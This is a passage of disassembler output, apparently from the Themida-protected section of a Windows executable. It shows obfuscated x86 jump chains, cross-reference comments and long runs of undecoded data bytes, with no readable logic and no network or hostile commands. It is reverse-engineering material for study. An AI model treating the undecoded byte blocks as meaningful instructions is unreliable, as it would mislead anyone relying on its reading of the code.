		pop	esp
		jmp	loc_558E7D
; ---------------------------------------------------------------------------
		db 59h,	29h, 0F1h
		dd 8E1815Eh, 8144DC18h,	3B4D55E1h, 2B85000h, 31000008h
		dd 0EA8158C1h, 5A9A7990h, 6286C281h, 0CA2964D3h, 6286B850h
		dd 8CE964D3h, 6600005Ch, 889AB551h, 0B75966ECh,	58E7303Eh
		dd 6517E9h, 522D6600h, 0BC30E97Ah, 0E5810000h, 79361BA6h
		dd 0A242ED81h, 0BFE9DDB0h, 58000081h, 5C243487h, 42F968h
		dd 24248900h, 0B15CE9h,	17E18000h, 521AC180h, 0E95BB2h
		dd 8100006Ch, 4ECh, 24348900h, 102E68h,	24148900h, 1676C6BAh
		dd 0EA6BE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557A5A:				; CODE XREF: Themida_:00557E81j
		add	eax, 3F582415h
		pop	ecx
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 73C9186Dh
		add	edx, ebx
		sub	edx, 73C9186Dh
		push	ebx
		push	ecx
		mov	ecx, 1FE74A58h
		inc	ecx
		jmp	loc_561CFE
; ---------------------------------------------------------------------------
		db 80h
		dd 2CE968F7h, 890000D0h, 181B68E3h, 34890000h, 13685724h
		dd 5F774A73h, 0FFF712E9h, 4C483FFh, 69F0BD55h, 0CD8118C7h
		dd 19F40778h, 0FFB278E9h, 2DF168FFh, 0C0E90000h, 33FFFFAFh
		dd 97E92434h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557AC7:				; CODE XREF: Themida_:0055A947j
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55E807
; ---------------------------------------------------------------------------

loc_557AD5:				; CODE XREF: Themida_:0055DA8Fj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 4B6824C7h
		neg	ebp
		add	ebp, 1
		jmp	loc_55EBFA
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 33000000h,	4312404h, 24043324h, 0FFE278E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557B15:				; CODE XREF: Themida_:0055D436j
		or	ebx, ebx
		jnz	loc_55E076
		push	38B9h
		jmp	loc_564A46
; ---------------------------------------------------------------------------

loc_557B27:				; CODE XREF: Themida_:00562CA8j
		pop	esp
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	dword ptr [ebx], 1
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4

loc_557B53:				; CODE XREF: Themida_:0055A76Dj
		push	ebx
		push	6B2Ch
		mov	[esp], ecx
		mov	ecx, 2941BEFh
		sub	[esp+4], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55CE6F
; ---------------------------------------------------------------------------
		dd 8104E9C1h, 0A34C65F1h, 81D1F75Ah, 1A531DC9h,	0F6F18140h
		dd 89F4936Dh, 0F79559C8h, 9558E9D5h, 8B560000h,	0C483243Ch
		dd 0C4FFE904h, 0D6F7FFFFh, 0DC6FF681h, 0ADE981C1h, 5000081h
		dd 4, 8704C083h, 9DE92404h, 5100006Ch, 0FF8D1CE9h, 5FBE56FFh
		dd 50520506h, 0E214C4B8h, 227F350Eh, 0B0566A4h,	25212C6Dh
		dd 51710A3Ch, 77BE9h, 0B3E95200h
		db 0CAh, 2 dup(0FFh)
byte_557BE7	db 0FFh			; DATA XREF: Themida_:0054FE18o
		dd 34FF1C77h, 2434FF24h, 8124048Bh, 4C4h, 4EC8300h, 89240489h
		dd 405E0h, 0E9500000h, 0FFFFC66Ah
dword_557C0C	dd 81E68956h, 4C6h, 9422E900h, 0C681FFFFh, 4, 4BB53h, 0DE010000h
					; DATA XREF: Themida_:0054FE08o
		dd 2434335Bh, 33243431h, 248B2434h, 4C38124h, 57000000h
		dd 8904EC83h, 84BA2414h, 0E93E2939h, 0FFFFF804h, 8904EC83h
		dd 7CBF243Ch, 8169730Eh, 4ECh, 240C8900h, 5C85E9h, 48B6600h
		dd 9CF6824h, 2C890000h,	81E58924h, 4C5h, 4DC8E900h, 0C4800000h
		dd 0E9E62872h, 0FFFFB159h, 2404285Ch, 0B0C5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557C92:				; CODE XREF: Themida_:005595B7j
		mov	esi, 30967891h
		jmp	loc_555322
; ---------------------------------------------------------------------------

loc_557C9C:				; CODE XREF: Themida_:0055DEADj
		pop	dx
		not	ch
		xchg	ch, bh
		jmp	loc_5580D9
; ---------------------------------------------------------------------------
		db 81h
		dd 1BBE77C6h, 0CA1EE9E4h, 5F5A0000h, 0D3A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_557CB9:				; CODE XREF: Themida_:00552BC4j
		add	esp, 4
		xor	eax, 3BBA154Ch
		push	esi
		mov	esi, 1B6939C5h
		shl	esi, 6
		push	esi
		jmp	loc_551A01
; ---------------------------------------------------------------------------
		dd 83161768h, 0BEC6E917h
		db 2 dup(0)
word_557CDA	dw 52ACh		; DATA XREF: Themida_:0054FFE0o
		dd 5379B151h, 0DA88CB88h, 240C8B5Bh, 8004C483h,	0D2F6DBF2h
		dd 8016CA80h, 0EA80A1CAh, 0E9D00034h, 8897h, 0FE208905h
		dd 2434FF2Ah, 83241C8Bh, 895104C4h, 0B5E0E9E1h,	0E95D0000h
		dd 2BC2h, 0E95AD501h, 6A82h, 66E82966h,	0E92DD72Dh, 1964h
; ---------------------------------------------------------------------------

loc_557D30:				; CODE XREF: Themida_:00558B00j
		mov	ebx, 1
		jmp	loc_556E37
; ---------------------------------------------------------------------------
		dw 3C8Bh
dword_557D3C	dd 4C48124h, 81000000h,	1C2h, 0DBBE5600h, 0E9500267h, 8D4Eh
		dd 0C281E289h, 4, 0E904EA83h, 6C3Ch, 5C24048Fh,	8B2434FFh
		dd 89562414h, 0FCE950E6h, 8100003Ah, 7E04246Ch,	8136F80Dh
		dd 17042444h, 0FF69E51Fh, 11E92434h, 0B8FFFF89h, 4, 48BC529h
		dd 4C48324h, 31242C33h,	2C33242Ch, 4895C24h, 57E08924h
		dd 122DB1BFh, 0C781474Dh, 7B633C7Dh, 8102E7C1h,	2A5748C7h
		dd 0E9F801DEh, 41DAh, 2D01C083h, 0D97E285Fh, 0F758C601h
		dd 0BACE81D6h, 686BD12Fh, 6737h, 0BB241C89h, 1588206Ah
		dd 6E9DE29h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557DEF:				; CODE XREF: Themida_:0055A45Dj
		add	eax, 3B462BCAh
		add	eax, esi
		sub	eax, 3B462BCAh
		jmp	loc_55D5FB
; ---------------------------------------------------------------------------
aCs		db 'CéÒ&',0
		align 2

loc_557E06:				; CODE XREF: Themida_:00554D0Cj
		mov	dh, 56h
		sub	bl, dh
		jmp	loc_555AF4
; ---------------------------------------------------------------------------
aISM		db '‰Îé]m',0
		align 2

loc_557E16:				; CODE XREF: Themida_:00564F3Aj
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 2000h
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_551823
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 76E4262h
		jmp	loc_55412E
; ---------------------------------------------------------------------------

loc_557E3A:				; CODE XREF: Themida_:00561887j
		mov	[esp], edi
		jmp	loc_55B92C
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 1AB8E9h
		db 0
; ---------------------------------------------------------------------------

loc_557E49:				; CODE XREF: Themida_:005636B7j
		push	3276h
		mov	[esp], edi
		jmp	loc_55EC6D
; ---------------------------------------------------------------------------

loc_557E56:				; CODE XREF: Themida_:0055C7EFj
		add	al, 0E2h
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 0BCh
		sub	esp, 4
		jmp	loc_55D206
; ---------------------------------------------------------------------------

loc_557E6C:				; CODE XREF: Themida_:005562C3j
		add	ecx, 2E5619CFh
		neg	ecx
		xor	ecx, 46EA333Ch
		sub	eax, 3F582415h
		add	eax, ecx
		jmp	loc_557A5A
; ---------------------------------------------------------------------------
		dw 9FBDh
		dd 0E9281B0Eh, 0FFFF82E2h
; ---------------------------------------------------------------------------

loc_557E90:				; CODE XREF: Themida_:005570F0j
		add	ebp, 0FFFFFFFFh
		shr	ebp, 4
		add	ebp, 0FB158F89h
		sub	eax, 5F2F1AD2h
		add	eax, ebp
		add	eax, 5F2F1AD2h
		jmp	loc_555551
; ---------------------------------------------------------------------------
aZsx		db 'ZéX|',0
		align 2
		dw 0E950h
		dd 4606h, 8B66F030h, 23682414h,	89000060h, 5954240Ch, 4C181h
		dd 0FF680000h, 8900007Eh, 0CEE9242Ch, 0FF000004h, 0E95B2434h
		dd 0FFFF8A29h, 0C808E958h, 148BFFFFh, 2F2CE924h, 0C4830000h
		dd 0E77BE904h, 0A9B7FFFFh, 0B7E9DFF6h, 5200000Eh, 602C7CB2h
		dd 6004D028h, 0B4045Ah,	0D04EE9D8h, 0D05FFFFh, 0E95E0B2Fh
		dd 2058h, 0E9242C8Bh, 6E80h, 0D8C78166h, 0B80FE96Fh, 1C89FFFFh
		dd 6866824h, 0A3E90000h, 0F7FFFFEAh, 81EF87D5h,	0D62FC6C7h
		dd 6476858h, 4890000h, 369BB824h, 0C7293CB3h, 582434FFh
		dd 5E08950h, 4,	8704C083h, 815C2404h, 0C83811EFh, 83B85068h
		dd 83678A04h, 0E52DFFC0h, 0E93A49A5h, 0FFFFCFFEh, 81D3015Eh
		dd 952A51C3h, 0B8505A54h, 0D0221F55h, 0E958C331h, 316Bh
		dd 0E0C1D0F7h, 65836802h, 0DE90000h, 81000016h,	0AE1260C6h
		dd 0C6815F75h, 2, 0C533E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557FC2:				; CODE XREF: Themida_:0055F765j
		add	esp, 4
		jmp	loc_558FC1
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F5h
		dd 16B6865h, 0F5EF81C7h, 586B6865h, 8704EF83h, 6DE9243Ch
		dd 0F70000A5h, 0F9E981D1h, 81173D20h, 7E3533C9h, 0F7C18157h
		dd 29257F8Fh, 0C38159CBh, 2AB95FF2h, 0E904EC83h, 0FFFFE793h
		dd 0B9515052h, 1C146B7Bh, 67E181h, 0BD555585h, 0C144FCAh
		dd 575DE921h, 0E66191BFh, 0FFC78165h, 81FFFFFFh, 9F72E4EFh
		dd 0D1E2E927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55803A:				; CODE XREF: Themida_:00552295j
		pop	ebp
		push	esi
		mov	esi, 3427682Eh
		dec	esi
		dec	esi
		not	esi
		jmp	loc_56069C
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFCEC0h, 148BD301h, 4F7DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55805A:				; CODE XREF: Themida_:0055B2C4j
		add	ecx, 79DC304Ch
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 34092D7Dh
		jmp	loc_55FA6D
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 84h
		dd 0E9E18B16h, 0FFFFE090h, 24048F5Ah, 0AD2FE9h,	19EF8100h
		dd 81290156h, 0C655C1C7h, 0E79AE9E8h, 3C87FFFFh, 0EC835C24h
		dd 6C8E904h, 0E9810000h, 16A02F21h, 0C181E901h,	16A02F21h
		dd 0E9242C8Bh, 3D37h
; ---------------------------------------------------------------------------

loc_5580B8:				; CODE XREF: Themida_:0055A2D6j
		xor	esi, [esp]
		pop	esp
		push	281Fh
		mov	[esp], ebp
		push	3112h
		jmp	loc_55F10B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2DE30B45h, 0FF8704E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5580D9:				; CODE XREF: Themida_:00557CA2j
		push	small 7298h
		mov	[esp], cx
		jmp	loc_5625B3
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 6031AD0h, 408DB850h,	4E2D7D25h, 212FFC0Dh, 0C68158C6h
		dd 44212393h, 815EF301h, 0CB4151C3h, 0E9D3010Bh, 62E4h
; ---------------------------------------------------------------------------

loc_558110:				; CODE XREF: Themida_:0055D41Cj
		mov	[esp], eax
		jmp	loc_5596C8
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C4h, 69E38100h, 52426815h, 6C35EABAh, 9108E90Bh
		dd 8F540000h, 0BA522404h, 4, 4245401h, 971EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558146:				; CODE XREF: Themida_:0055F6B6j
		mov	ecx, 4261045Fh
		jmp	loc_5562BE
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 0E9000000h, 0FFFF9817h, 141EE3BBh,	0E9DBF737h
		dd 18C9h, 0DE89EB89h, 83241C8Bh, 295D04C4h, 68555EF0h
		dd 3E1Ah, 0E9240C89h, 0B601h, 0C180D128h, 24148B0Fh, 4C481h
		dd 0B6520000h, 5AF0288Dh, 8006B353h, 0D828C7EBh, 0B9045Bh
		dd 4B92CC8h, 5060E93Fh,	835A0000h, 0B95104C4h, 52097091h
		dd 0FFEE981h, 0C6813B5Ah, 6B0C666Ah, 0BD55CE29h, 17C4537Dh
		dd 4AE7C581h, 0EDD121ACh, 4C55ED81h, 0ED812046h, 91659C73h
		dd 0A0B1E9h, 24048B00h,	81E68956h, 4C6h, 4C68100h, 33000000h
		dd 34312434h, 24343324h, 2434FF5Ch, 2DFDE9h, 0F9C28100h
		dd 89EDDEDFh, 0C7895AD0h, 4AED8158h, 110AA34h, 1BB951FDh
		dd 0E926F769h, 0FFFF8BF7h, 3304C483h, 29E92414h, 5C0000CFh
		dd 80CEB151h, 0C828A5F1h, 4D80059h, 81F3E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558246:				; CODE XREF: Themida_:00563E4Aj
		add	edi, eax
		add	edi, 14DF22ACh
		jmp	loc_5571D6
; ---------------------------------------------------------------------------

loc_558253:				; CODE XREF: Themida_:00555B88j
		not	ebx
		xor	ebx, 38F614CFh
		jmp	loc_555FF3
; ---------------------------------------------------------------------------
		dd 3358C501h, 2C31242Ch, 242C3324h, 6624248Bh, 2404AB0Fh
		dd 7E1DE99Ch, 7405FFFFh, 1EF8671h, 0C32958C3h, 1EE4EB81h
		dd 0EB811892h, 39F3320Ah, 0E92434FFh, 4CFDh
; ---------------------------------------------------------------------------

loc_558298:				; CODE XREF: Themida_:005576BFj
		push	eax
		mov	eax, 37CD23FFh
		xor	ecx, eax
		pop	eax
		add	edx, 11BE6927h
		sub	edx, ecx
		sub	edx, 11BE6927h
		jmp	loc_550919
; ---------------------------------------------------------------------------
		dd 0E981D9F7h, 4BAA0115h, 0E9C1E1D1h, 5EE18104h, 8102F762h
		dd 23405AE9h, 6EBA5200h, 420F8F52h, 6AFFE9h, 241C8B00h
		dd 4C481h, 0C1830000h, 74FF5104h, 0C8B0424h, 4C48324h
		dd 8B24048Fh, 0C0832424h, 24043302h, 33E2E9h, 81C22900h
		dd 3341C2h, 24048B4Ah, 4C481h, 0C2810000h, 1663BFAh, 0D5E9C201h
		dd 8100009Fh, 4C1h, 7C76E900h, 0B2520000h, 4CE2807Ah, 0C086EA80h
		dd 0E2C007EAh, 0BCEA8008h, 148BD500h, 0E3895324h, 4C381h
		dd 6EE90000h, 83FFFF86h, 48904ECh, 0E9585424h, 0FFFFC035h
		dd 70A6C72Dh, 58C631DBh, 2838EE81h, 58E96D52h, 5AFFFFBEh
		dd 8124048Bh, 4C4h, 5BFE2800h, 2821C580h, 21ED80F5h, 59E8285Ah
		dd 0D7E95053h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55838F:				; CODE XREF: Themida_:00560785j
		pop	ebx
		jmp	loc_55A0DA
; ---------------------------------------------------------------------------

loc_558395:				; CODE XREF: Themida_:00550A75j
		push	ecx
		push	edi
		mov	edi, 28147BDDh
		xor	edi, 2E4D2C4Bh
		add	edi, 45E5A9A4h
		jmp	loc_560D6E
; ---------------------------------------------------------------------------
aRq4x0SSEl@rFs7	db 'RQ¹ê4•0Áá',7,'S»…LÙ@RºßÌØäé7È',0
		align 4
		dd 0B368DBF7h, 8900006Fh, 64B82404h, 0C169570Eh, 0D22D08E0h
		dd 9EEDEF8h, 0E95758C3h, 0FFFFBE47h, 9C0BE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5583EE:				; CODE XREF: Themida_:0055A299j
		push	ebp
		mov	ebp, 60A66C60h
		shr	ebp, 3
		jmp	loc_55BF17
; ---------------------------------------------------------------------------

loc_5583FC:				; CODE XREF: Themida_:005632D8j
		and	ebx, 132F5AA7h
		add	ebx, 463817C0h
		add	edi, 163477E7h
		sub	edi, ebx
		jmp	loc_55C736
; ---------------------------------------------------------------------------
aS_8		db '^éÂ*',0
		dw 0C100h
		dd 0EFC106EFh, 0E7814708h, 5A111C73h, 6304C781h, 8EE90E56h
		dd 54000095h, 83243C8Bh, 0C78104C4h, 4,	4C781h,	0FF570000h
		dd 8B042474h, 0BCE9243Ch, 51000023h, 1343CB9h, 0E9C83101h
		dd 0BADEh
; ---------------------------------------------------------------------------

loc_558460:				; CODE XREF: Themida_:0055FD53j
		add	edi, 6C282637h
		inc	edi
		jmp	loc_560BB2
; ---------------------------------------------------------------------------
		dd 56AACE81h, 0F6811AB3h, 5FFF7EBCh, 348BF189h,	4C48124h
		dd 1000000h, 7EE959CEh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55848B:				; CODE XREF: Themida_:00550129j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		push	ebx
		jmp	loc_560897
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 5Fh
		dd 441FB951h, 0E98112E2h, 30259507h, 5CE9CB31h,	3100002Eh
		dd 24348BF3h, 0E904C483h, 0FFFF7BBFh
dword_5584D8	dd 24048B66h, 635A68h, 24148900h, 51B868h, 1CDF6800h, 8F540000h
					; DATA XREF: Themida_:0054FE3Co
		dd 24E92404h, 0BB00006Eh, 785E1A63h, 835BDF29h,	0D7F701EFh
		dd 2B37E950h, 44810000h, 57B70424h, 34FF05A0h, 0C4C8E924h
		dd 0E281FFFFh, 5BD70DA2h, 0C918EA81h, 0D3E9ECCAh, 5BFFFF7Fh
		dd 34FFCF01h, 3075E924h, 4870000h, 0C4815C24h, 4, 4741E952h
		dd 17B70000h, 0FE302CB6h, 8BF0005Bh, 14E92414h,	870000A8h
		dd 248B240Ch, 0EC815724h, 4, 55241C89h,	0E23BDC68h, 242C8B6Bh
		dd 4C481h, 1DE90000h, 0F7000056h, 42E9241Ch
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558583:				; CODE XREF: Themida_:00565666j
		push	1560h
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55DDA7
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324348Bh, 0C48304C4h, 0E9D82904h, 788h, 4EC835Ch, 0FF243489h
		dd 0E9042474h, 0F39h, 8904C483h, 242C8BEEh, 4C481h, 0E9590000h
		dd 6C2h, 1A9BBB53h, 0FEE96D4Ch,	8B000054h, 0C4812434h
		dd 4, 5C24048Fh, 0AC85E9h, 0E9CF2900h, 0FFFF8401h, 4C781h
		dd 0EF810000h, 4, 0E9243C87h, 6CD1h
; ---------------------------------------------------------------------------

loc_558604:				; CODE XREF: Themida_:0055B89Aj
		xor	edi, 0D786A763h
		sub	ecx, 2A7B566Ch
		sub	ecx, edi
		jmp	loc_55C604
; ---------------------------------------------------------------------------
		db 56h
		dd 0BEh, 5EF08900h, 3BE9D001h, 5700001Eh, 48E6852h, 148B26D4h
		dd 4C48324h, 48AB850h, 0E8E926D4h, 54000012h, 8124048Fh
		dd 42404h, 60E90000h, 5700002Ch, 0C781E789h, 4,	0FFF55EE9h
		dd 24248BFFh, 310AE8C1h, 0AD6855C8h, 89000066h,	4812424h
		dd 424h, 0FDE95D00h, 89000041h,	4C181E1h, 83000000h, 0C8704C1h
		dd 0C875C24h, 24248B24h, 2758E9h, 0F6CBFE00h, 0E9C3FED3h
		dd 0FFFFE9EDh, 68h, 242C2900h, 0F8B9515Dh, 310616BDh, 0A0DFE9CDh
		dd 1489FFFFh, 7A9AE924h, 0C4830000h, 8FE1E904h,	0FF540000h
		dd 835D2434h, 0E95604C4h, 2D48h
; ---------------------------------------------------------------------------

loc_5586D4:				; CODE XREF: Themida_:00560D27j
		pop	esp
		push	eax
		push	edx
		push	ecx
		jmp	loc_552405
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 895C240Ch, 0EC832434h, 24048904h,	0F931BAB8h
		dd 0C50578h, 78E9ED40h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5586FF:				; CODE XREF: Themida_:0055F436j
		pop	eax
		push	597Ch
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 25B579D2h
		shl	esi, 8
		add	esi, 3306032Dh
		or	esi, 7EAC4BC2h
		add	esi, 1002015h
		jmp	loc_5542A6
; ---------------------------------------------------------------------------

loc_55872F:				; CODE XREF: Themida_:00564CEEj
		xchg	eax, edi
		jmp	loc_55FBB5
; ---------------------------------------------------------------------------

loc_558735:				; CODE XREF: Themida_:0055AF74j
		pop	eax
		inc	ebp
		shl	ebp, 8
		xor	ebp, 3E34EA04h
		jmp	loc_55E998
; ---------------------------------------------------------------------------
aRIclSl		db 'RºicL)éL}',0
		align 10h
		dd 0C2F181h, 0CA31223Bh, 0DEE28159h, 52403511h,	5A241CF7h
		dd 3C5CE957h, 0C890000h, 0E9E18924h, 0FFFFEB35h, 2094B951h
		dd 0E9811E09h, 21940A08h, 31DF181h, 0C181724Eh,	73C60FAFh
		dd 0B765E9h, 1C4F0900h,	8B2434FFh, 0C483240Ch, 4AF76804h
		dd 1C890000h, 68E38924h, 2823h,	0BE243489h, 75BB5A5Ah
		dd 0EC81D6F7h, 4, 0B9240C89h, 9C14EE3h,	0AAE9CE31h, 0B800009Dh
		dd 79684743h, 7436E9h, 0EA815800h, 242F08EEh, 83A8E9h
		dd 0C8B6600h, 30236824h, 3C890000h, 3CB36824h, 95E90000h
		dd 66FFFFBCh, 9C2424D3h, 0FF7896E9h, 815058FFh,	3BA72404h
		dd 815D594Eh, 4E3BA7EDh, 0E9595859h, 0FFFFCD12h, 0C60F4968h
		dd 0C0E95904h, 31FFFF9Ch, 0EE8158C6h, 0F874A70h, 0EE81DEF7h
		dd 0DE8C2459h, 11FFE981h, 0F1012569h, 11FFC181h, 348B2569h
		dd 0F6ACE924h, 0DFF7FFFFh, 0B99AF781h, 0F901B1DFh, 4BF575Fh
		dd 81000000h, 915297C1h, 81F92965h, 915297E9h, 243C8B65h
		dd 0FFFE6CE9h, 240431FFh, 5C240433h, 4C181h, 0BD550000h
		dd 2, 0E95DE901h, 7DFEh, 66C0B60Fh, 5724148Bh, 0EC835F54h
		dd 241C8904h, 0C3815B54h, 4, 4EB81h, 0FF530000h, 5B042474h
		dd 8B24048Fh, 0C892424h, 0C2A2E924h, 0F660000h,	6866C8BEh
		dd 89663A52h, 0C8E9240Ch, 81FFFF77h, 4ECh, 24048900h, 4BE56h
		dd 0F0890000h, 2444015Eh, 24048B04h, 5B04C483h,	55AB68h
		dd 24348900h, 4BEh, 70FC6800h, 0C890000h, 3B87B924h, 0CB297FE5h
		dd 714BE9h, 278DBE00h, 0FE97881h, 58000079h, 4E05E9h, 0F2CF8100h
		dd 0E9702C23h, 71B5h, 6504D028h, 8B669C2Ch, 0EC832414h
		dd 24048904h, 3B42E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55893E:				; CODE XREF: Themida_:0055E950j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 87F417Ah
		jmp	loc_55B076
; ---------------------------------------------------------------------------
		db 33h
		dd 248B240Ch, 512EE924h, 0D6010000h, 8C25E9h, 48F5C00h
		dd 0EBE95C24h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558977:				; CODE XREF: Themida_:0055DB05j
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_550D44
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		push	3B03h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	45A9h
		mov	[esp], ebp
		jmp	loc_563C49
; ---------------------------------------------------------------------------

loc_5589E0:				; CODE XREF: Themida_:0055EF34j
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_561808
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 2FE8h, 405h,	24048700h, 80BCE95Ch, 0C15AFFFFh, 0DAF706E2h
		dd 18FBE281h, 0C2811EE4h, 6D975F38h, 215AD789h,	617DE9F8h
		dd 34330000h, 24343124h, 8404E9h
		db 0
; ---------------------------------------------------------------------------

loc_558A29:				; CODE XREF: Themida_:00564BC5j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_559F5F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EBC108EBh, 0CAEB8106h, 0E9E8BE1Dh, 0FFFF8135h, 241CF756h
		dd 0DACE815Eh, 0D1048F01h, 34C681EEh, 1D47F6Eh,	0DD895EF3h
		dd 223CE9h, 32A8BB00h, 0CEE91B11h, 89FFFFC6h, 0E268240Ch
		dd 592AF65Eh, 3742E981h, 5CE9794Dh, 10000B3h, 0C8015DE8h
		dd 633F7B2Dh, 240C8B4Eh, 0FF885AE9h, 4EDBBFFh, 56554CC6h
		dd 0D652E1BEh, 6EEC140h, 8107EEC1h, 37F465C6h, 4EC2E9B3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558ABA:				; CODE XREF: Themida_:0055F568j
		xor	ecx, 0CB701428h
		jmp	loc_55E7DE
; ---------------------------------------------------------------------------
byte_558AC5	db 0ADh, 83h, 7Fh	; DATA XREF: Themida_:0054FE6Co
		dd 840F0020h, 0FFFF777Eh, 76DEC681h, 0C601575Ah, 742CBF57h
		dd 0EFC16B64h, 0E8B95107h, 0C102333Ah
		db 0E1h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_557D30
; ---------------------------------------------------------------------------

loc_558B05:				; CODE XREF: Themida_:0055378Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550C3E
; ---------------------------------------------------------------------------
aR4iBYmDh1	db ']Rº<4©-ÂyMÙDh·1',0
		dw 8900h
		dd 51E9240Ch
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558B2B:				; CODE XREF: Themida_:00553A97j
		xor	edx, 0B0BDD935h
		mov	eax, edx
		pop	edx
		add	ecx, 12F53ED2h
		jmp	loc_55A74F
; ---------------------------------------------------------------------------
byte_558B3F	db 0FFh			; DATA XREF: Themida_:00550044o
		dd 0A0E92434h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558B47:				; CODE XREF: Themida_:00562D0Ej
		shr	eax, 10h
		jmp	loc_56029A
; ---------------------------------------------------------------------------
		db 0D3h
		dd 33E92424h, 81FFFFAEh, 0EF1220C2h, 48B5957h, 4C48324h
		dd 367DBD55h, 55536225h, 0A35DE9h, 5EB3BF00h, 0C7810BB5h
		dd 39A0BD7h, 5551D7F7h,	7B76E9h, 72E95B00h, 8B00003Bh
		dd 0C481240Ch, 4, 34FFF101h, 24348B24h,	8104C483h, 4C4h
		dd 240C8700h, 8B24248Bh, 54572404h, 864685Fh, 1C890000h
		dd 4BB24h, 0EF810000h, 8B961BBh, 0C781DF01h, 8B961BBh
		dd 0FF82D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558BD1:				; CODE XREF: Themida_:0055E189j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55BB9E
; ---------------------------------------------------------------------------
		dd 75DD68h, 242C8900h, 2AF9B850h, 56406AE6h, 7266B9BEh
		dd 0C5F68107h, 81767932h, 9065D6CEh, 51EE810Ah,	176AA4Ah
		dd 3AE95EF0h, 0F7FFFFDEh, 0ACB951DDh, 416A2E5Ah, 697EE9h
		dd 0C0596600h, 0C38005E3h, 66D83013h, 58C7885Bh, 72ECE9h
		dd 0CA0400h, 2CCA2CD8h,	4B204D6h, 421B6870h, 14890000h
		dd 0B2525324h, 0A0F2809Bh, 148BD788h, 4C48124h,	80000000h
		dd 0FA889CEFh, 81241C8Bh, 4C4h,	0E9D03000h, 0FFFFF286h
		dd 7E05E955h, 14890000h, 4BA24h, 0C7810000h, 2C826E07h
		dd 1321E956h, 0D8280000h, 0EC833204h, 286EE902h, 835A0000h
		dd 4FE9FFC6h, 0BDFFFFF4h, 3C89348Bh, 0FFC509E9h, 595451FFh
		dd 0FFF676E9h
